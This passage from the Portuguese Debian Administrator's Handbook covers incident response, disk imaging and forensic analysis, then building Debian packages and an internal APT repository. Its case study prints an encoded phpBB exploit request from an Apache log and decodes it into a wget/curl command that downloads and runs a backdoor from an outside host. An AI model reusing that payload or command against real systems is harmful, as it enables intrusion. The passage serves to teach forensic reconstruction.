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• erros causados pela partição /tmp/ estar cheia, o que acabou por estar cheio de cópias
ilegais de filmes;

• entre outros.

14.7.2. Colocando o servidor Off-Line

Em qualquer dos casos porém, os mais exóticos, a quebra vem da rede, e o invasor precisa de
uma rede trabalhando para alcançar as suas metas (acesso a dados confidenciais, compartilhar
arquivos clandestinos, ocultar a sua identidade utilizando amáquina como de um retransmissor
e assim sucessivamente). Desconectar o computador da rede impedirá que o atacante alcane
esses objetivos, se eles não conseguiram fazer isso ainda.
Isso só é possível se o servidor está fisicamente acessível. Quando o servidor está hospedado
em uma hospedagem no centro provedor de dados do outro lado do país, ou se o servidor não
está acessível por qualquer outro motivo, é geralmente uma boa idéia começar a reunir alguma
informação importante (ver Seção 14.7.3, “Mantendo Tudo que Poderia Ser Usado como Evidên-
cia” [434], Seção 14.7.5, “Analise Fonrense” [435] e Seção 14.7.6, “Reconstituindo o Cenário do
Ataque” [436] ), então isolar o servidor tanto quanto possível, fechando tantos serviços quanto
possível (geralmente tudo, menos o sshd). Este caso ainda é estranho, pois não se pode descar-
tar a possibilidade de o atacante ter acesso SSH como o administrador tem, o que torna mais
difícil ”limpar” as máquinas.

14.7.3. Mantendo Tudo que Poderia Ser Usado como Evidência

Compreender o ataque e/ou ação legal contra os atacantes envolvente requer uma tomada de
cópias de todos os elementos relevantes, o que inclui o conteúdo do disco rígido, uma lista de
todos os processos em execução, e uma lista de todas conexões abertas. O conteúdo damemória
RAM também poderia ser usado, mas é raramente utilizado na prática.
No calor da ação, os administradores sãomuitas vezes tentados a realizarmuitas verificações na
máquina comprometida; esta geralmente não é uma boa idéia. Cada comando é potencialmente
subvertido e pode apagar elementos de prova. Os cheques devem ser restritas ao conjunto mí-
nimo (netstat -tupan para conexões de rede, ps auxf para uma lista de processos, ls -alR
/proc/[0-9]* para um pouco mais de informação sobre a execução de programas), e cada sele-
ção realizada deve ser cuidadosamente anotada.

ATENÇÃO

Analise Quente
Embora possa parecer tentador analisar o sistema como ele executa, especialmente
quando o servidor não é fisicamente acessível, este é melhor evitar: simplesmente
você não pode confiar nos programas instalados no sistema comprometido. É bem
possível que um subvertido comando ps para esconder alguns processos, ou para
um comando ls subvertido para esconder arquivos, às vezes até mesmo o kernel é
comprometido!

Se uma análise tão quente ainda é necessária, deve ser tomado o cuidado de usar
somente os bons programas conhecidos. Uma boa maneira de fazer isso seria ter
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um CD de recuperação com programas imaculados, ou um compartilhamento de
rede somente leitura. No entanto, mesmo essas contramedidas podem não ser
suficientes se o kernel em si está comprometido.

Umavez que os elementos ”dinâmicos” foram salvos, o próximopasso é armazenar uma imagem
completa do disco rígido. Fazer tal imagem é impossível se o sistema ainda está executando, é
por isso que deve ser remontado somente para leitura. A solução mais simples é muitas vezes
parar o servidor brutalmente (após a execucao de sync) e reiniciá-lo em um CD de recupera-
ção. Cada partição deve ser copiada com uma ferramenta como o dd, estas imagens podem ser
enviadas para outro servidor (possivelmente com a muito conveniente ferramenta nc). Outra
possibilidade pode ser ainda mais simples: é só pegar o disco da máquina e substituí-lo por um
novo que pode ser reformatado e reinstalado.

14.7.4. Reinstalando

O servidor não deve ser trazido de volta em linha sem uma reinstalação completa. Se o com-
prometimento foi grave (se privilégios administrativos foram obtidos), não há quase nenhuma
outra maneira de ter certeza de que estamos livres de tudo o que o invasor pode ter deixado
para trás (particularmente backdoors). Naturalmente, todas últimas atualizações de segurança
devem também ser aplicadas de modo a conectar a vulnerabilidade utilizada pelo invasor. O
ideal, analisando o ataque deve apontar para este vetor de ataque, para que se possa ter cer-
teza de efetivamente corrigi-lo, caso contrário, só se pode esperar que a vulnerabilidade foi um
daqueles fixados pelas atualizações.
Reinstalar um servidor remoto não é sempre fácil, pode envolver a assistência da empresa de
hospedagem, porque nem todas empresas oferecem sistemas automatizados de reinstalação.
Cuidados devem ser tomados para não reinstalar a máquina a partir de backups feitos depois do
compromisso. Idealmente, os dados devem ser restaurados, o próprio software deve ser reins-
talado a partir da mídia de instalação.

14.7.5. Analise Fonrense

Agora que o serviço foi restaurado, é hora de dar uma olhada nas imagens de disco do sistema
comprometido a fimde compreender o vetor de ataque. Aomontar essas imagens, deve se tomar
cuidado e usar as opções ro, nodev, noexec, noatime de modo a evitar alteração dos conteúdos
(incluindo marcas de tempo de acesso a arquivos) ou a execução de programas comprometidos
por engano.
Refazendo um cenário de ataque geralmente envolve olhar para tudo o que foi modificado e
executado:

• arquivos .bash_historymuitas vezes prevem uma leitura muito interessante;
• o mesmo acontece listando arquivos que foram recentemente criados, modificados ou
acessados;
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• o comando strings ajuda a identificar programas instalados pelo atacante, extraindo
seqüências de texto de um binário;

• os arquivos de log em /var/log/muitas vezes permitem reconstruir uma cronologia dos
eventos;

• ferramentas special-purpose também permitem restaurar o conteúdo de arquivos poten-
cialmente excluídos, incluindo arquivos de log que os atacantes muitas vezes excluíram.

Algumas dessa operações podem ser facilitadas com softwares especializados. Em particular, o
pacote sleuthkit fornece muitas ferramentas para analisar um sistema de arquivos. Seu uso é
facilitado pela interface gráfica Autopsy Forensic Browser (no pacote de autopsy ).

14.7.6. Reconstituindo o Cenário do Ataque

Todos os elementos recolhidos durante a análise devem se encaixar como peças de um quebra-
cabeça, a criação dos primeiros arquivos suspeitos é muitas vezes relacionada aos registros que
comprovam a violação. A exemplo do mundo real deve ser mais explícito do que longas divaga-
ções teóricas.
O registo seguinte foi extraido de um Apache access.log:
www.falcot.com 200.58.141.84 - - [27/Nov/2004:13:33:34 +0100] ”GET /phpbb/viewtopic.

å php?t=10&highlight=%2527%252esystem(chr(99)%252echr(100)%252echr(32)%252echr
å (47)%252echr(116)%252echr(109)%252echr(112)%252echr(59)%252echr(32)%252echr
å (119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(103)%252echr
å (97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr
å (97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr
å (105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr
å (114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr
å (124)%252echr(124)%252echr(32)%252echr(99)%252echr(117)%252echr(114)%252echr
å (108)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr
å (121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr
å (101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr
å (97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr
å (98)%252echr(100)%252echr(32)%252echr(45)%252echr(111)%252echr(32)%252echr(98)
å %252echr(100)%252echr(59)%252echr(32)%252echr(99)%252echr(104)%252echr(109)
å %252echr(111)%252echr(100)%252echr(32)%252echr(43)%252echr(120)%252echr(32)
å %252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(46)%252echr(47)%252
å echr(98)%252echr(100)%252echr(32)%252echr(38))%252e%2527 HTTP/1.1” 200 27969
å ”-” ”Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)”

Este exemplo corresponde a exploração de uma antiga vulnerabilidade de segurança em phpBB.
è http://secunia.com/advisories/13239/

è http://www.phpbb.com/phpBB/viewtopic.php?t=240636

Decodificar esta longa URL leva ao entendimento de que o atacante conseguiu executar al-
gum código PHP, chamado: system(”cd /tmp; wget gabryk.altervista.org/bd || curl

436 O Manual do Administrador Debian

http://secunia.com/advisories/13239/
http://www.phpbb.com/phpBB/viewtopic.php?t=240636


gabryk.altervista.org/bd -o bd; chmod +x bd; ./bd &”). Na verdade, um arquivo bd
foi encontrado em /tmp/. Executando strings /mnt/tmp/bd retorna, entre outros textos, Psy-
choPhobia Backdoor is starting… Isso realmente parece um backdoor.
Algum tempo depois, esse acesso foi usado para fazer o download, instalar e executar um bot -
robô de IRC, conectado a uma rede IRC subterrânea. O robô pode então ser controlado através
deste protocolo e instruido realizar download de arquivos para compartilhamento. Este pro-
grama ainda tem o seu próprio arquivo de log:
** 2004-11-29-19:50:15: NOTICE: :GAB!sex@Rizon-2EDFBC28.pool8250.interbusiness.it

å NOTICE ReV|DivXNeW|504 :DCC Chat (82.50.72.202)
** 2004-11-29-19:50:15: DCC CHAT attempt authorized from GAB!SEX@RIZON-2EDFBC28.

å POOL8250.INTERBUSINESS.IT
** 2004-11-29-19:50:15: DCC CHAT received from GAB, attempting connection to

å 82.50.72.202:1024
** 2004-11-29-19:50:15: DCC CHAT connection suceeded, authenticating
** 2004-11-29-19:50:20: DCC CHAT Correct password
(...)
** 2004-11-29-19:50:49: DCC Send Accepted from ReV|DivXNeW|502: In.Ostaggio-iTa.Oper_

å -DvdScr.avi (713034KB)
(...)
** 2004-11-29-20:10:11: DCC Send Accepted from GAB: La_tela_dell_assassino.avi

å (666615KB)
(...)
** 2004-11-29-21:10:36: DCC Upload: Transfer Completed (666615 KB, 1 hr 24 sec, 183.9

å KB/sec)
(...)
** 2004-11-29-22:18:57: DCC Upload: Transfer Completed (713034 KB, 2 hr 28 min 7 sec,

å 80.2 KB/sec)

Esses registros mostram que dois arquivos de vídeo foram armazenados no servidor por meio
do endereço IP 82.50.72.202.
Em paralelo, o atacante também baixou um par de arquivos adicionais, /tmp/pt e /tmp/loginx.
Executando esses arquivos através do strings resulta sequências de caracteres como Shellcode
placed at 0x%08lx e Nowwait for suid shell.... Estes parecem programas que exploram vulnerabilida-
des locais para obter privilégios administrativos. Será que chegam ao seu destino? Neste caso,
provavelmente não, uma vez que nenhum arquivo parece ter sido modificado após a violação
inicial.
Neste exemplo, a intrusão toda foi reconstruída, e pode-se deduzir que o invasor foi capaz de ti-
rar vantagem do sistema comprometido por cerca de três dias, mas o elementomais importante
na análise é que a vulnerabilidade tenha sido identificada, e o administrador pode esta certo de
que a nova instalação realmente corrigiu a vulnerabilidade.
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É muito comum, para um administrador que vem lidando com pacotes Debian de maneira regular, sentir
eventualmente a necessidade de criar o seu próprio pacote, ou modificar um pacote existente. Este
capítulo tem a intenção de responder as questões mais comuns neste campo, e dar os elementos
necessários para tirar vantagem da infraestrutura do Debian da melhor maneira possível. Com alguma
sorte, após testar sua mão em pacotes locais, você sinta a necessidade de se aprofundar e eventualmente
juntar-se até mesmo ao projeto Debian!



15.1. Reconstruindo um Pacote a partir de suas Fontes

Reconstruir um pacote binário é necessário sob diversas circunstâncias. Em alguns casos, o ad-
ministrador precisa de uma funcionalidade quenecessita que oprograma seja compilado a partir
de suas fontes, com uma opção particular de compilação; em outras, o programa empacotado na
versão instalada do Debian não é suficientemente recente. Em último caso, o administrador irá
usualmente construir um pacote mais recente retirado de uma versão mais recente do Debian
— como Testing ou até mesmo Unstable— então este novo pacote funcionará em sua distribuição
Stable; esta operação é chamada “backporting”. Como de costume, alguma cautela deve ser to-
mada, antes de se empreender essa tarefa, para verificar se isto já não foi feito anteriormente
— uma rápida olhada na página de Rastreamento de Pacote Debian para esse pacote irá revelar
essa informação.
è https://tracker.debian.org/

15.1.1. Pegando os Fontes

Reconstruir um pacote Debian começa com a obtenção de seu código fonte. A maneira mais
fácil é usar o comando apt-get source nome-do-pacote-fonte. Este comando requer uma
linha deb-src no arquivo /etc/apt/sources.list, e os arquivos de índice atualizados (ou seja
apt-get update). Estas condições já devem estar resolvidas se você seguiu as instruções no ca-
pítulo sobre a configuração do APT (veja em Seção 6.1, “Preenchendo no arquivo sources.list
Arquivo” [104]). Note, no entanto, que você estará baixando os pacotes fonte da versão Debian
mencionada na linha deb-src. Se você precisa de uma outra versão, você pode precisar baixá-lo
manualmente a partir de um dos espelho Debian ou a partir do web site. Trata-se de buscar dois
ou três arquivos (com extensões *.dsc - para Debian Source Control (Controle do Fonte Debian)
- *.tar.comp, e algumas vezes *.diff.gz ou *.debian.tar.comp - comp tendo um valor entre
gz, bz2 ou xz, dependendo da ferramenta de compressão em uso), em seguida, executando o
comando dpkg-source -x arquivo.dsc. Se o arquivo *.dsc é diretamente acessível em uma
determinada URL, há uma maneira ainda mais simples para buscar tudo, com o comando dget
URL. Este comando (que pode ser encontrado no pacote devscripts) obtém o arquivo *.dsc no
endereço fornecido, então analisa o seu conteúdo e vai buscar automaticamente o arquivo, ou
arquivos, referenciados nele. Uma vez que tudo tenha sido baixado, ele extrai o pacote fonte (a
menos que a opção -d ou --download-only seja usada).

15.1.2. Fazendo Alterações

O fonte do pacote está agora disponível em um diretório com o nome baseado no pacote fonte e
sua versão (por exemplo, samba-4.1.17+dfsg); este é o lugar onde nós vamos trabalhar em nossas
mudanças locais.
A primeira coisa a se fazer é mudar o número de versão do pacote, para que a reconstrução
possa ser diferenciada dos pacotes originais fornecidos pelo Debian. Assumindo que a versão
atual é 2:4.1.17+dfsg-2, nós podemos criar uma versão 2:4.1.17+dfsg-2falcot1, que claramente
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indica a origem do pacote. Isto faz com que a versão do pacote seja maior do que a provida pelo
Debian, então o pacote facilmente instalará como se fosse uma atualização do pacote original.
Tal alteração émelhor realizada como comando dch (Debian CHangelog) do pacote devscripts, com
um comando dch --local falcot. Isso chama um editor de texto (sensible-editor — este
deveria ser seu editor de textos favorito se for mencionado na variável de ambiente VISUAL ou
EDITOR, e o editor padrão de outra forma) para permitir a documentação das diferenças trazidas
por esta reconstrução. Este editor nos mostra que dch realmente modificou o arquivo debian/
changelog.
Quando mudanças nas opções de construção são necessárias, as mudanças precisam ser feitas
em debian/rules, que controla os passos para o processo de construção do pacote. Nos casos
mais simples, as linhas relativas às configurações iniciais (./configure …) ou à construção em si
($(MAKE) … ou make …) são fáceis de achar. Se estes comandos não são explicitamente cha-
mados, eles provavelmente são efeitos colaterais de outro comando explícito. Em qualquer dos
casos, por favor verifique a documentação para aprender mais sobre como modificar o compor-
tamento padrão. Com pacotes usando o dh, você talvez precise adicionar um ”overridde” para
os comandos dh_auto_configure ou dh_auto_build (veja suas respectivas páginas de manual
para explicações de como fazer isso).
Dependendo dasmudanças locais nos pacotes, uma atualização talvez seja necessária no arquivo
debian/control , o qual contém uma descrição dos pacotes gerados. Em particular, este ar-
quivo contém linhas Build-Depends que controlam uma lista de dependências que devem ser
satisfeitas durante a construção do pacote. Estas geralmente se referem a versões de pacotes
contidos na distribuição da qual o pacote fonte veio, mas que talvez não estejam disponíveis
na distribuição utilizada na reconstrução. Não há maneira automática para determinar se uma
dependência é real ou apenas especificada para garantir que a construção seja apenas tentada
com a última versão da biblioteca— esta é a únicamaneira de se forçar um autobuilder (construtor
automático) a usar um dado pacote durante a construção, eis o porque dos mantenedores Debian
frequentemente utilizarem versões restritas das dependências de construção.
Se você tem certeza de que estas dependências de compilação são muito rigorosas, você deve
se sentir livre para relaxá-las localmente. Lendo os arquivos que documentam a forma padrão
de construção do software - esses arquivos são chamados frequentemente INSTALL - irá ajudar
você a descobrir as dependências apropriadas. Idealmente, todas as dependências devem ser
satisfeitas a partir da distribuição utilizada para a reconstrução, se não forem, um processo re-
cursivo começa, onde os pacotes mencionados no campo Build-Depends devem passar por um
”backport” antes do pacote alvo. Alguns pacotes podem não precisar de ”backport”, e podem
ser instalados como estão durante o processo de criação (um exemplo notável é debhelper). Note
que o processo de backport pode rapidamente tornar-se complexo, se você não for cuidadoso.
Portanto, backports devem ser mantidos a um mínimo o mais estrito possível.

DICA

Instalando Build-Depends

apt-get permite instalar todos os pacotes mencionados nos campos
Build-Depends de um pacote fonte disponível em uma distribuição menci-
onada na linha deb-src no arquivo /etc/apt/sources.list. Isto é uma questão
de simplesmente executar o comando apt-get build-dep source-package.
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15.1.3. Começando a Reconstrução

Quando todas as mudanças necessárias forem aplicadas aos fontes, podemos começar a ge-
rar o verdadeiro pacote binário (arquivo .deb). Todo o processo é gerenciado pelo comando
dpkg-buildpackage.

Exemplo 15.1 Reconstruindo um pacote

$ dpkg-buildpackage -us -uc
[...]

FERRAMENTA

fakeroot

Essencialmente, o processo de criação de pacotes é simplesmente uma questão de
coletar em um arquivo compactado um conjunto de arquivos existentes (ou cons-
truídos); a maioria dos arquivos irá acabar sendo de posse do root no arquivo com-
pactado. Entretanto, construir um pacote inteiro usando este usuário implicaria em
riscos maiores; felizmente, isto pode ser evitado com o comando fakeroot. Esta
ferramenta pode ser usada para executar um programa e dá-lo a impressão de que
é executado como root e cria arquivos com posse e permissões arbitrárias. Quando
o programa cria o arquivo que se tornará o pacote Debian, ele acha que está cri-
ando um arquivo compactado contendo arquivos marcados como pertencendo a
usuário arbitrários, incluindo o root. Esta configuração é tão conveniente que o
dpkg-buildpackage usa o fakeroot por padrão quando cria pacotes.

Note que o programa é somente levado a crer que está operando com uma conta pri-
vilegiada, e o processo de fato é executado como o usuário que executou o programa
fakeroot (e os arquivos são na verdade criados com as permissões daquele usuá-
rio). Em nenhum momento ele realmente consegue privilégios de root dos quais
poderia abusar.

O comando anterior pode falhar se os campos Build-Depends não foram atualizados, ou se os pa-
cotes relacionados estiverem instalados. Neste caso, é possível anular esta verificação passando
a opção -d para o dpkg-buildpackage. Entretanto, ignorar explicitamente essas dependências
cria-se o risco do processo de construção falhar em um estágio seguinte. Pior, o pacote pode
parecer corretamente construído mas não executar corretamente: alguns programas automa-
ticamente desabilitam algumas de suas funcionalidades quando uma biblioteca necessária não
está disponível em tempo de construção.
Na maioria das vezes, os desenvolvedores Debian usam um programa de alto nível como o
debuild; ele executa o dpkg-buildpackage como de costume, mas também inclui uma invo-
cação de um programa que executa diversas verificações para validar a geração dos pacotes de
acordo com a política do Debian. Este script também limpa o ambiente para que variáveis locais
não ”poluam” a construção do pacote. O comando debuild é umas das ferramentas da suíte
devscripts, que divide alguma consistência e configuração para tornar as tarefa dos mantenedo-
res mais fácil.
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OLHADA RÁPIDA

pbuilder

O comando pbuilder (no pacote de mesmo nome) permite a construção de um
pacote Debian em um ambiente chroot (enjaulado). Ele primeiramente cria um di-
retório temporário contendo um sistema mínimo necessário para a construção do
pacote (incluindo os pacotes mencionados no campo Build-Depends). Este diretó-
rio é então usado como diretório raiz (/), utilizando o comando chroot, durante a
fase de construção.

Esta ferramenta permite que processo de construção aconteça em um ambiente
que não foi alterado pelo usuário. Também permite uma detecção rápida de al-
guma dependência de construção (build-dependency) perdida (já que a construção
irá falhar a não ser que as dependências apropriadas estejam documentadas). Final-
mente, ele permite a construção de um pacote para uma versão do Debian diferente
do sistema por completo: a máquina pode estar utilizando Stable para seu trabalho
normal, e um pbuilder rodando na mesma máquina pode estar utilizando Unsta-
ble para a construção dos pacotes.

15.2. Construindo seu Primeiro Pacote

15.2.1. Meta-pacotes ou Falsos Pacotes

Pacotes falsos e meta-pacotes são similares, ambos são caixas vazias que existem apenas pelo
efeito que seus metadados fazem na pilha de gerenciamento de pacotes.
O propósito de um pacote falso é enganar o dpkg e o apt para acreditarem que algum pacote
está instalado mesmo que em realidade seja apenas uma caixa vazia. Isto permite satisfazer
dependências num pacote quando o programa correspondente foi instalado fora do escopo do
sistema de pacotes. Este método funciona, porém deve mesmo assim ser evitado sempre que
possível, já que não existem garantias de que o programa instaladomanualmente se comportará
exatamente como o pacote correspondente faria e outros pacotes dependentes dele podem não
funcionar corretamente.
De outra maneira, um meta-pacote existe em sua maioria como uma coleção de dependências,
então instalar ummeta-pacote é na verdade instalar um conjunto de pacotes emumúnico passo.
Ambos os tipos de pacotes podem ser criados pelos comandos equivs-control e equivs-build
(do pacote equivs). O comando equivs-control arquivo cria um arquivo de cabeçalho de pa-
cote Debian que deve ser editado para conter o nome do pacote desejado, seu número de ver-
são, o nome do mantenedor, suas dependências e sua descrição. Outros campos, sem um va-
lor padrão são opcionais e podem ser excluídos. Os campos Copyright, Changelog, Readme
e Extra-Files não são campos padrões em pacotes Debian; eles só fazem sentido no âmbito da
equivs-build, e eles não serão mantidos nos cabeçalhos do pacote gerados.

Exemplo 15.2 Arquivo de cabeçalho do pacote falso libxml-libxml-perl

Section: perl
Priority: optional
Standards-Version: 3.9.6
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Package: libxml-libxml-perl
Version: 2.0.116-1
Maintainer: Raphael Hertzog <hertzog@debian.org>
Depends: libxml2 (>= 2.7.4)
Architecture: all
Description: Fake package - módulo instalado manualmente em site_perl
Este é um pacote falso para deixar o sistema de empacotamento
acreditando que este pacote Debian está instalado.
.
Na verdade, o pacote não está instalado desde uma versão mais recente
do módulo que foi manualmente compilada & instalada no
diretório site_perl.

O próximo passo é gerar o pacote Debian com o comando equivs-build arquivo. Voilà: o
pacote foi criado no diretório atual e pode ser manejado como qualquer outro pacote Debian
seria.

15.2.2. Depósito Simples de Arquivos

Os administradores da Falcot Corp precisam criar umpacote Debian para facilitar a instalação de
um conjunto de documentos em um grande número de máquina. O administrador responsável
por essa tarefa primeiramente lê o “New Maintainer’s Guide”, e então começa a trabalhar no
seu primeiro pacote.
è https://www.debian.org/doc/manuals/maint-guide/

O primeiro passo é criar um diretório falcot-data-1.0 que conterá o pacote fonte. O pacote
irá, logicamente, ser chamado de falcot-data e terá o número de versão 1.0. O administrador
então coloca os documentos em um subdiretório data. Então ele chama o comando dh_make (do
pacote dh-make) para adicionar os arquivos necessários para o processo de criação do pacote, o
qual será armazenado em um subdiretório debian:
$ cd falcot-data-1.0
$ dh_make --native

Type of package: single binary, indep binary, multiple binary, library, kernel module
å , kernel patch or cdbs?

[s/i/m/l/k/n] i
Maintainer name : Raphael Hertzog
Email-Address : hertzog@debian.org
Date : Fri, 04 Sep 2015 12:09:39 -0400
Package Name : falcot-data
Version : 1.0
License : gpl3
Type of Package : Independente
Pressione <enter> para confirmar:
Atualmente não há nível superior Makefile. Isto pode exigir um ajuste adicional.
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Feito. Por favor, edite os arquivos no agora debian/subdiretório. Você também deve
verificar se o instalador falcot-data Makefiles em $DESTDIR e não em /.
$

O tipo de pacote escolhido (indep binary) indica que este pacote fonte irá gerar um único pacote
binário que pode ser compartilhado entre todas as arquiteturas (Arquitetura: all). single binary
atua como contraparte, e leva a um único pacote binário que é dependente da arquitetura alvo (
Arquitetura: any). Neste caso, a primeira escolha émais relevante uma vez que o pacote contém
apenas os documentos e não programas binários, para que possa ser usado de forma semelhante
em computadores de todas as arquiteturas.
O tipomúltiplo binário corresponde a umpacote fonte levando a vários pacotes binários. Um caso
particular, biblioteca, é útil para bibliotecas compartilhadas, uma vez que precisa seguir regras
rígidas do empacotamento. De forma semelhante, módulo do kernel ou kernel patch devem ser
restritos aos pacotes contendo módulos do kernel.

DICA

Nome e endereço de
e-mail do mantenedor

A maioria dos programas envolvidos em manutenção de pacotes irá procurar seu
nome e endereço de e-mail no DEBFULLNAME e DEBEMAIL ou nas variáveis de ambi-
ente EMAIL. Defini-los de uma vez por todas vai evitar que você tenha de digitá-los
várias vezes. Se seu shell usual é o bash, é uma simples questão de adicionar as duas
linhas seguintes em seu aquivo ~/.bashrc (você obviamente substitui os valores
com os mais relevantes!):

export EMAIL=”hertzog@debian.org”
export DEBFULLNAME=”Raphael Hertzog”

O comando dh_make criou uma pasta debian com muitos arquivos. Alguns são necessários, em
particular rules, control, changelog e copyright. Arquivos com extensão .ex são exemplos
de arquivos que podem ser utilizados, modificando-os (e removendo a extensão), se for o caso.
Quando eles não são necessários, entao é recomendado removê-los. O arquivo compat deve ser
mantido, uma vez que é necessário para o funcionamento correto do conjunto de programas
debhelper (todos começando com o prefixo dh_) utilizado em diferentes estágios do processo
de construção do pacote.
O arquivo copytight (direitos autorais) deve conter informações sobre os autores dos documen-
tos incluídos no pacote, e as licenças relacionadas. No nosso caso, estes são documentos internos
e sua utilização é limitada para dentro da empresa Falcot Corp. O arquivo changelog padrão é
geralmente apropriado; substituir o ”lançamento inicial” com uma explicação mais detalhada
e alterar da distribuição instável para interna é suficiente . O arquivo control também foi atu-
alizado: o campo Section foi alterado para misc e os campos Homepage, Vcs-Git e Vcs-Browser
foram removidos. O campo Depends foi completado com iceweasel | www-browser, de modo a
assegurar a disponibilidade de um navegador web capaz de exibir os documentos contidos no
pacote.

Exemplo 15.3 O arquivo control
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Source: falcot-data
Section: misc
Priority: optional
Maintainer: Raphael Hertzog <hertzog@debian.org>
Build-Depends: debhelper (>= 9)
Standards-Version: 3.9.5

Package: falcot-data
Architecture: all
Depends: iceweasel | www-browser, ${misc:Depends}
Description: Internal Falcot Corp Documentation
This package provides several documents describing the internal
structure at Falcot Corp. This includes:
- organization diagram
- contacts for each department.
.
These documents MUST NOT leave the company.
Their use is INTERNAL ONLY.

Exemplo 15.4 O arquivo changelog

falcot-data (1.0) internal; urgency=low

* Initial Release.
* Let’s start with few documents:
- internal company structure;
- contacts for each department.

-- Raphael Hertzog <hertzog@debian.org> Fri, 04 Sep 2015 12:09:39 -0400

Exemplo 15.5 O arquivo copyright

Format: http://www.debian.org/doc/packaging-manuals/copyright-format/1.0/
Upstream-Name: falcot-data

Files: *
Copyright: 2004-2015 Falcot Corp
License:
All rights reserved.

DE VOLTA AO BÁSICO

arquivo Makefile

Um arquivo Makefile é um roteiro usado pelo programa make; ele descreve regras
para a construção de um conjunto de arquivos a partir de uma árvore de depen-
dências entre si (por exemplo, um programa pode ser construído a partir de um
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conjunto de arquivos fonte). Os arquivos Makefile descrevem essas regras no se-
guinte formato:

alvo: fonte1 fonte2 ...
comando1
comando2

A interpretação dessas regras é como segue: se um dos arquivos fonte* é mais
recente do que o arquivo alvo, então o alvo precisará ser gerado, usando comando1
e comando2.

Note que as linhas com comandos devem começar com um caractere de tabulação,
também note que quando uma linha de comando começa com um traço (-), a falha
do comando não interromperá o processo por inteiro.

O arquivo rules geralmente contém um conjunto de regras usado para configurar, construir
e instalar o software em um subdiretório específico (nomeado de acordo com o pacote binário
gerado). O conteúdo desta pasta é depois arquivado dentro do pacote Debian, como se fosse
a raiz do sistema de arquivos. No nosso caso, os arquivos serão instalados na pasta debian/
falcot-data/usr/share/falcot-data/, para que a instalação do pacote gerado implante os
arquivos em /usr/share/falcot-data/. O arquivo rules é utilizado como um Makefile, com
alguns alvos padrões (incluindoclean e binary, utilizados, respectivamente, para limpar a pasta
de origem e gerar o pacote binário).
Embora esse arquivo seja o coração do processo, cada vezmais ele contém somente a informação
mínima para executar um conjunto padrão de comandos provido pela ferramenta debhelper.
Tal é o cadodos arquivos gerados pelo dh_make. Para instalar nossos arquivos, nós simplesmente
configuramos o comportamento do comando dh_install criando o seguinte arquivo debian/
falcot-data.install:

data/* usr/share/falcot-data/

Neste ponto, o pacote pode ser criado. Nós no entanto vamos adicionar um toque especial. Já
que os administradores querem que os documentos sejam facilmente acessados a partir dos me-
nus dos ambientes de trabalho gráficos, nós adicionamos um arquivo falcot-data.desktop
e o instalaremos em /usr/share/applications através da adição de uma segunda linha em
debian/falcot-data.install.

Exemplo 15.6 O arquivo falcot-data.desktop

[Desktop Entry]
Name=Internal Falcot Corp Documentation
Comment=Starts a browser to read the documentation
Exec=x-www-browser /usr/share/falcot-data/index.html
Terminal=false
Type=Application
Categories=Documentation;
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O debian/falcot-data.install atualizado se parece com isso:

data/* usr/share/falcot-data/
falcot-data.desktop usr/share/applications/

Nosso pacote fonte está pronto. Agora só falta gerar um pacote binário, com o mesmo
método que usamos anteriormente para reconstruir pacotes: executamos o comando
dpkg-buildpackage -us -uc de dentro do diretório falcot-data-1.0.

15.3. Criando um Repositório de Pacotes para o APT

A Falcot Corp gradualmente começou a manter alguns pacotes Debian modificados localmente
a partir de pacotes existentes ou criados do zero para distribuir dados e programas internos.
Para facilitar a instalação, eles querem integrar estes pacotes em um repositório que possa ser
acessado diretamente usando a ferramenta APT. Por motivos de manutenção óbvios, eles que-
rem separar os pacotes internos dos pacotes reconstruídos localmente. O objetivo é ter as en-
tradas correspondentes no arquivo /etc/apt/sources.list.d/falcot.list como segue:

deb http://packages.falcot.com/ updates/
deb http://packages.falcot.com/ internal/

Os administradores, portanto, configuram uma máquina virtual em seu servidor HTTP interno,
com /srv/vhosts/packages/ como a raiz do espaço web associado. A gestão do repositório é
delegada ao comando mini-dinstall (no pacote de mesmo nome). Esta ferramenta mantém
um olho em umdiretório incoming/ (no nosso caso, /srv/vhosts/packages/mini-dinstall/
incoming/) e espera por novos pacotes lá; quando um pacote for carregado, ele é instalado em
um repositório Debian em /srv/vhosts/packages/. O comando mini-dinstall lê o arquivo
*.changes criado quando o pacote Debian é gerado. Esses arquivos contêmuma lista de todos os
outros arquivos associados com a versão do pacote (*.deb, *.dsc, *.diff.gz/*.debian.tar.
gz, *.orig.tar.gz, ou seus equivalentes com outras ferramentas de compressão), e que permi-
tem mini-dinstall saber quais arquivos instalar. Arquivos *.changes tambémcontêmonome
da distribuição alvo (muitas vezes unstable) mencionado na última entrada debian/changelog,
e mini-dinstall usa essas informações para decidir onde o pacote deve ser instalado. É por
isso que os administradores devem sempre alterar este campo antes de construir um pacote, e
configurá-lo para internal ou updates, dependendo da localização do alvo. O mini-dinstall
gera, então, os arquivos necessários para o APT, como o Packages.gz.

ALTERNATIVA

apt-ftparchive

Se mini-dinstall parece demasiado complexo para as suas necessidades de em-
pacotamento Debian, você também pode usar o comando apt-ftparchive. Esta
ferramenta verifica o conteúdo de um diretório e exibe (em sua saída padrão) um
arquivo Packages correspondente. No caso da Falcot Corp, os administradores
podem carregar os pacotes diretamente em /srv/vhosts/packages/updates/ ou
/srv/vhosts/packages/internal/, em seguida, executar os seguintes comandos
para criar os arquivos Packages.gz:
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$ cd /srv/vhosts/packages
$ apt-ftparchive packages updates >updates/Packages
$ gzip updates/Packages
$ apt-ftparchive packages internal >internal/Packages
$ gzip internal/Packages

O comando apt-ftparchive sources permite criar arquivos Sources.gz de ma-
neira similar.

Para configurar o mini-dinstall é necessário a configuração do arquivo ~/.mini-dinstall.
conf; no caso da Falcot Corp, o conteúdo é o seguinte:
[DEFAULT]
archive_style = flat
archivedir = /srv/vhosts/packages

verify_sigs = 0
mail_to = admin@falcot.com

generate_release = 1
release_origin = Falcot Corp
